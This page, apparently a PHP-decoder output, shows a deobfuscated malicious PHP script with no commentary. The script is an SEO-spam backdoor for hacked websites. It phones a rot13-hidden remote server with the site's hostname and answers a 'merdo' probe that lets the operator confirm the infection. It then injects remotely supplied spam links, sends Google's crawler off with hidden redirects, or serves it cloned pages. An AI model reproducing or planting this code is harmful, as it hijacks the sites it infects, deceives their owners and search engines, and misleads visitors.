PHP Decode

<?php @ob_start(); 
$aXIvxGToAShyxzmNYYBs = 'U98oeTV3sIRv792fH8bNxcNE4qK518GDCDBQwzdbrbQ1imaSv1fHLSLyD7C8GDaWagWaLwNg'; 
$PrJoxBPtcOdjQVfOnDyU = 'xNO0138AMWLmrYfLGfZppck3viIu210tQkfRJb4Z9+AzusLytSSbrWxLOGBLbkLhGMf+X+c69Qk='; 
$sANbmaZNlPFFusRrBzRr = 'gmVz5ui3T+QWcrEKlhGnmvBsMdZobZoc1fCvo07GwSG8XQzNjH8UWYktyj/sxFQN0KsC1VAXxg=='; 
$LskfPFwBOUrtXPUvnFAz = 'DzwBiqfgBVgwbhayJXBOXNknXGViTNDGMBCCYXGxAtBJYoTOKF'; 
if (@$_GET["merdo"]) 
{ 
    echo "<!--SYSADMIN-->"; 
    exit(); 
} 
$TVFPSNSAkohQTaMMJVMw = @$_SERVER["HTTP_HOST"]; 
$TVFPSNSAkohQTaMMJVMw = str_replace("www.", "", $TVFPSNSAkohQTaMMJVMw); 
function UkmyJXxhOePtNDOGDvCm($nSugfdGEQonLUwvBxmeH) 
{ 
    if (function_exists("curl_init")) 
    { 
        $uEWqpWDNxdyiGHlAaJMs = curl_init(); 
        curl_setopt($uEWqpWDNxdyiGHlAaJMs, CURLOPT_URL, $nSugfdGEQonLUwvBxmeH); 
        curl_setopt($uEWqpWDNxdyiGHlAaJMs, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($uEWqpWDNxdyiGHlAaJMs, CURLOPT_RETURNTRANSFER, true); 
        curl_setopt($uEWqpWDNxdyiGHlAaJMs, CURLOPT_USERAGENT, "RaBot"); 
        curl_setopt($uEWqpWDNxdyiGHlAaJMs, CURLOPT_TIMEOUT, 10); 
        return curl_exec($uEWqpWDNxdyiGHlAaJMs); 
    } 
    else 
    { 
        return file_get_contents($nSugfdGEQonLUwvBxmeH); 
    } 
} 
function PUPiZMyoIZhGCSTGBuNm($liFrOkrztEPMEtxLpsWs) 
{ 
    $jLpGtFaSvKOauTheBgTC = @json_decode(str_rot13($liFrOkrztEPMEtxLpsWs) , true); 
    if ($jLpGtFaSvKOauTheBgTC["type"] == "link" || $jLpGtFaSvKOauTheBgTC["type"] == "anti") 
    { 
        if (count($jLpGtFaSvKOauTheBgTC["links"])) 
        { 
            $yZppURzdTCFuTlkTtUWO = ""; 
            foreach ($jLpGtFaSvKOauTheBgTC["links"] as $LwWivlFBqESHYisGpemw) 
            { 
                $yZppURzdTCFuTlkTtUWO .= "<a href=\"" . $LwWivlFBqESHYisGpemw["url"] . "\" title=\"" . $LwWivlFBqESHYisGpemw["title"] . "\">" . $LwWivlFBqESHYisGpemw["baslik"] . "</a>
"; 
            } 
            $oKUuRfeQLJXCCIBsvGfM = $jLpGtFaSvKOauTheBgTC["html"]; 
            $oKUuRfeQLJXCCIBsvGfM = str_replace("{LINK_CODE_REPLACE}", $yZppURzdTCFuTlkTtUWO, $oKUuRfeQLJXCCIBsvGfM); 
            echo $oKUuRfeQLJXCCIBsvGfM; 
        } 
        else 
        { 
            $oKUuRfeQLJXCCIBsvGfM = $jLpGtFaSvKOauTheBgTC["html"]; 
            $oKUuRfeQLJXCCIBsvGfM = str_replace("{LINK_CODE_REPLACE}", "", $oKUuRfeQLJXCCIBsvGfM); 
            echo $oKUuRfeQLJXCCIBsvGfM; 
        } 
    } 
    elseif ($jLpGtFaSvKOauTheBgTC["type"] == "redirect") 
    { 
        if (@preg_match("#google#", $_SERVER["HTTP_USER_AGENT"])) 
        { 
            $uri = $_SERVER["REQUEST_URI"]; 
            $rand_keys = array_rand($jLpGtFaSvKOauTheBgTC["links"], 1); 
            $myurl = rtrim($jLpGtFaSvKOauTheBgTC["links"][$rand_keys]["url"], "/"); 
            header("HTTP/1.1 301 Moved Permanently"); 
            header("Location: " . $myurl . ""); 
            exit(); 
        } 
    } 
    elseif ($jLpGtFaSvKOauTheBgTC["type"] == "clone") 
    { 
        if (@preg_match("#google#", $_SERVER["HTTP_USER_AGENT"])) 
        { 
            $uri = @$_SERVER["REQUEST_URI"]; 
            $pinfo = pathinfo($uri); 
            if (preg_match("#\.css#", $uri)) 
            { 
                header("Content-Type: text/css"); 
            } 
            if (@$pinfo["extension"] == "jpg" || @$pinfo["extension"] == "jpeg") 
            { 
                header("Content-Type: image/jpeg"); 
            } 
            if (preg_match("#\.js#", $uri)) 
            { 
                header("Content-Type: text/javascript"); 
            } 
            if (preg_match("#\.xml#", $uri)) 
            { 
                header("Content-Type: application/xml"); 
            } 
            $host = @$_SERVER["HTTP_HOST"]; 
            $host = str_replace("www.", "", $host); 
            $uri = $_SERVER["REQUEST_URI"]; 
            $rand_keys = array_rand($jLpGtFaSvKOauTheBgTC["links"], 1); 
            $myurl = rtrim($jLpGtFaSvKOauTheBgTC["links"][$rand_keys]["url"], "/"); 
            $url = $myurl . $uri; 
            $curlSession = curl_init(); 
            curl_setopt($curlSession, CURLOPT_URL, $url); 
            curl_setopt($curlSession, CURLOPT_REFERER, $myurl); 
            curl_setopt($curlSession, CURLOPT_RETURNTRANSFER, 1); 
            curl_setopt($curlSession, CURLOPT_TIMEOUT, 30); 
            curl_setopt($curlSession, CURLOPT_USERAGENT, "xMen"); 
            $response = curl_exec($curlSession); 
            curl_close($curlSession); 
            $body = $response; 
            $parse = parse_url($myurl); 
            $p_host = str_replace('www.', '', $parse["host"]); 
            $body = str_replace($p_host, $host, $body); 
            print $body; 
            exit(); 
        } 
    } 
    if (@preg_match("#google#", $_SERVER["HTTP_USER_AGENT"])) 
    { 
    } 
    else 
    { 
        echo $jLpGtFaSvKOauTheBgTC["amung"]; 
    } 
} 
$aXIvxGToAShyxzmNYYBs = str_rot13("uggc://jjj.wnxxryyl.pbz/kynetr.cuc") . "?merdo=" . $TVFPSNSAkohQTaMMJVMw; 
$bSBGqQwIsQqRrEmIvrsL = UkmyJXxhOePtNDOGDvCm($aXIvxGToAShyxzmNYYBs); 
PUPiZMyoIZhGCSTGBuNm($bSBGqQwIsQqRrEmIvrsL); ?>